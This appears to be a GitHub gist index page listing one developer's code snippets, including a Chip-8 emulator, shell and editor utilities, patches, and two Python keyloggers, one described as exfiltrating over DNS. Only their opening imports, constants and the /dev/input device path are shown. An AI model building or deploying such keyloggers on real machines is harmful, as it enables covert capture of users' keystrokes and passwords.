Skip to content

Instantly share code, notes, and snippets.

@OwenChia
OwenChia / c8emu.c
Last active Jun 16, 2021
Chip 8 Emu - C & WASM version - https://owenchia.coding.me/c8emu/
View c8emu.c
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <emscripten.h>
#define SCREEN_W 64
@OwenChia
OwenChia / keylogger_dns.py
Created Jul 8, 2019
keylogger via dns written by pure python
View keylogger_dns.py
# -*- coding: utf-8 -*-
import selectors
import socket
from ctypes import BigEndianStructure, Structure, c_int32, c_int64, c_uint16
from enum import IntEnum
from functools import partial
EV_KEY = 1
EV_KEY_VALUE = {0: '\x1b[31mreleased\x1b[0m',
1: '\x1b[32mdepressed\x1b[0m',
View proxy.plugin.zsh
# proxychains shotcut
proxy-command-line() {
[[ -z $BUFFER ]] && zle up-history
[[ $BUFFER == sudo\ * ]] && LBUFFER="sudo proxychains ${LBUFFER/sudo /}"
[[ $BUFFER != proxychains\ * ]] && [[ $BUFFER != sudo\ proxychains\ * ]] && LBUFFER="proxychains $LBUFFER"
}
zle -N proxy-command-line
# Defined shortcut keys: [Esc] [Esc] [p]
bindkey "\e\ep" proxy-command-line
@OwenChia
OwenChia / keylogger.py
Last active Jul 3, 2019
simple keylogger written by python
View keylogger.py
# -*- coding: utf-8 -*-
import selectors
from ctypes import Structure, c_int32, c_int64, c_uint16
EV_KEY = 1
EV_KEY_VALUE = {0: '\x1b[31mreleased\x1b[0m',
1: '\x1b[32mdepressed\x1b[0m',
2: '\x1b[33mrepeated\x1b[0m'}
EV_KEY_VALUE_UNKNOWN = '\x1b[37;41;5munknown\x1b[0m'
EV_DEVICE = "/dev/input/event5"
View blur_support_e631915b2ff870317a9b674df66e2ebea374f151.patch
diff --git a/app/config/yakuake.kcfg b/app/config/yakuake.kcfg
index 1d19d21..392c632 100644
--- a/app/config/yakuake.kcfg
+++ b/app/config/yakuake.kcfg
@@ -85,6 +85,11 @@
</entry>
</group>
<group name="Appearance">
+ <entry name="Blur" type="Bool">
+ <label context="@label">Blur</label>
@OwenChia
OwenChia / shutil.make_archive.patch
Created May 1, 2019
python stdlib - shutil - add support for different ZIP compression method
View shutil.make_archive.patch
diff --git a/Lib/shutil.py b/Lib/shutil.py
index 6cfe3738f6..9b3c007596 100644
--- a/Lib/shutil.py
+++ b/Lib/shutil.py
@@ -844,14 +844,29 @@ def _make_tarball(base_name, base_dir, compress="gzip", verbose=0, dry_run=0,
return archive_name
-def _make_zipfile(base_name, base_dir, verbose=0, dry_run=0, logger=None):
+def _make_zipfile(base_name, base_dir, compress="zlib",
@OwenChia
OwenChia / setup.sh
Last active Mar 30, 2019
Install neovim fro Tencent Cloud Studio
View setup.sh
#!/bin/sh
# vim: set nu rnu fdm=indent ts=2 sts=2 shiftwidth=2 sr nowrap :
TODAY=$(date +%Y%m%d)
echo "Running on $(sed -nE '/PRETTY_NAME/{s/PRETTY_NAME="([^"]+)"/\1/p}' /etc/os-release)..."
cat <<EOF
View sh.rs
use std::env;
use std::io::{self, Write};
use std::path::Path;
use std::process::{Command, Stdio, Child};
fn main() {
loop {
print!("> ");
io::stdout().flush().unwrap();
View sh
#!/usr/bin/env sh
node_activate() {
local _DIRNAME=${PWD##*/}
if ! grep -qi $_DIRNAME <<< $PS1; then
_OLD_PS1=$PS1
export PS1="($_DIRNAME) $PS1"
fi
View gist:860870d2fa28a088fe75c8e4c5893289
LxHTSOcR7IewRyBMMEJMD0iT2oNhLZ-2P8JDLvHwfYKFDXQzvh~DcaDXrejRsxmzzhAuz47IY5f2JnXoGy~N-61GRm31PSqj5DfOd1RTtySzg19UHTV~AvtEBMDoJoUD-~TEzfrH35oRkKSSHPdTyj6nnfD44zGJqBL4ckDRcztkywWQ7LH9IFX0Xm4qPxPnXNxJGhfqQXJPyZKHGJYaWRE4cuSIvWF-a0TkAFiYd6rswsOOMRuHopHv-r4gu7olW8PNPfQWllZos5uyrtE7kMGaeT9Ua8LA0I12cB~nKsp-uBKhVBznHPTIlgdl2NsEB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